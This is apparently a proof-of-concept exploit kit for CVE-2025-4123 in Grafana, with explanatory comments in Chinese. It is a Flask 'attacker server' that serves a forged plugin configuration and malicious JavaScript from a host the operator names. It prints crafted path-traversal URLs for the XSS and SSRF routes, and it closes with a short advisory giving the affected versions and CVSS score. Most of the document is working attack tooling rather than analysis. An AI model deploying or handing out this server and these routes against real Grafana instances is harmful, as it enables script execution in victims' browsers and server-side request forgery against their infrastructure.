CVE-2025-4123 漏洞验证与攻击模拟服务器

sudo python server.py --host http://192.168.1.100

from flask import Flask, jsonify, make_response, request
import json
import argparse

app = Flask(__name__)

# 全局变量存储攻击者控制的主机地址
attacker_host = "http://127.0.0.1"  # 默认值，可通过CLI参数覆盖


@app.route('/', defaults={'path': ''}, methods=["GET", "POST", "PUT", "DELETE", "PATCH", "OPTIONS"])
@app.route('/<path:path>', methods=["GET", "POST", "PUT", "DELETE", "PATCH", "OPTIONS"])
def serve_based_on_query(path):
    """
    基于查询参数提供不同内容的请求处理函数
    支持所有HTTP方法和任意路径
    """
    query_string = request.query_string.decode('utf-8')

    if request.method == 'OPTIONS':
        response = make_response('')
    else:
        if "p" in query_string:
            # 提供伪造的插件配置（data2.json）
            try:
                with open("data2.json") as f:
                    data = json.load(f)
                # 在JSON字符串中将"attacker"替换为实际的attacker_host
                data_str = json.dumps(data).replace("attacker", attacker_host)
                response = make_response(data_str)
                response.headers['Content-Type'] = 'application/json'
            except Exception as e:
                response = make_response(f"Error reading data2.json: {e}", 500)

        elif "js" in query_string:
            # 提供恶意的JavaScript代码（js.js）
            try:
                with open("js.js") as f:
                    js_content = f.read().replace("attacker", attacker_host)
                response = make_response(js_content)
                response.headers['Content-Type'] = 'application/javascript'
            except Exception as e:
                response = make_response(f"Error reading js.js: {e}", 500)

        else:
            response = make_response("Attacker Server Failed", 400)

    # 添加CORS头，允许跨域访问
    response.headers['Access-Control-Allow-Origin'] = '*'
    response.headers['Access-Control-Allow-Methods'] = 'GET, POST, PUT, DELETE, PATCH, OPTIONS'
    response.headers['Access-Control-Allow-Headers'] = '*'

    return response


if __name__ == '__main__':
    # 命令行参数解析
    parser = argparse.ArgumentParser(description='Start malicious server for CVE testing.')
    parser.add_argument('--host', help='Hostname of the attacker', required=False, default="http://127.0.0.1")
    args = parser.parse_args()

    # 更新攻击者主机地址
    attacker_host = args.host
    print(f"[+] Using attacker host: {attacker_host}")
    
    # 输出攻击路由信息
    print()
    print("[+] XSS Route: /a/..%2f..%2f..%2fpublic%2f..%252f%255C127.0.0.1%252f%253Fp%252f..%252f..%23/explore")
    print(f"[+] SSRF Route: /render/public/..%252f%5C{attacker_host}%252f%3F%252f..%252f..")
    print()
    
    # 启动Flask服务器
    app.run(host='0.0.0.0', port=80, debug=True)

# CVE-2025-4123

CVE ID: "CVE-2025-4123"
严重等级: 高
基础分数: 7.6 HIGH 🔴
向量: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L
影响: 服务器端请求伪造 (SSRF), 跨站脚本 (XSS)
受影响版本: Grafana 11.2, Grafana 11.3, Grafana 11.4, Grafana 11.5, Grafana 11.6, Grafana 12.0

## 描述

Grafana中存在跨站脚本（XSS）漏洞，由客户端路径遍历和开放重定向组合导致。攻击者可以将用户重定向到托管前端插件的网站，从而执行任意JavaScript代码。此漏洞不需要编辑器权限，如果启用了匿名访问，XSS将正常工作。如果安装了Grafana图像渲染器插件，则可以利用开放重定向实现完整的读取SSRF。Grafana中的默认内容安全策略（CSP）将通过`connect-src`指令阻止XSS。
```FINISHED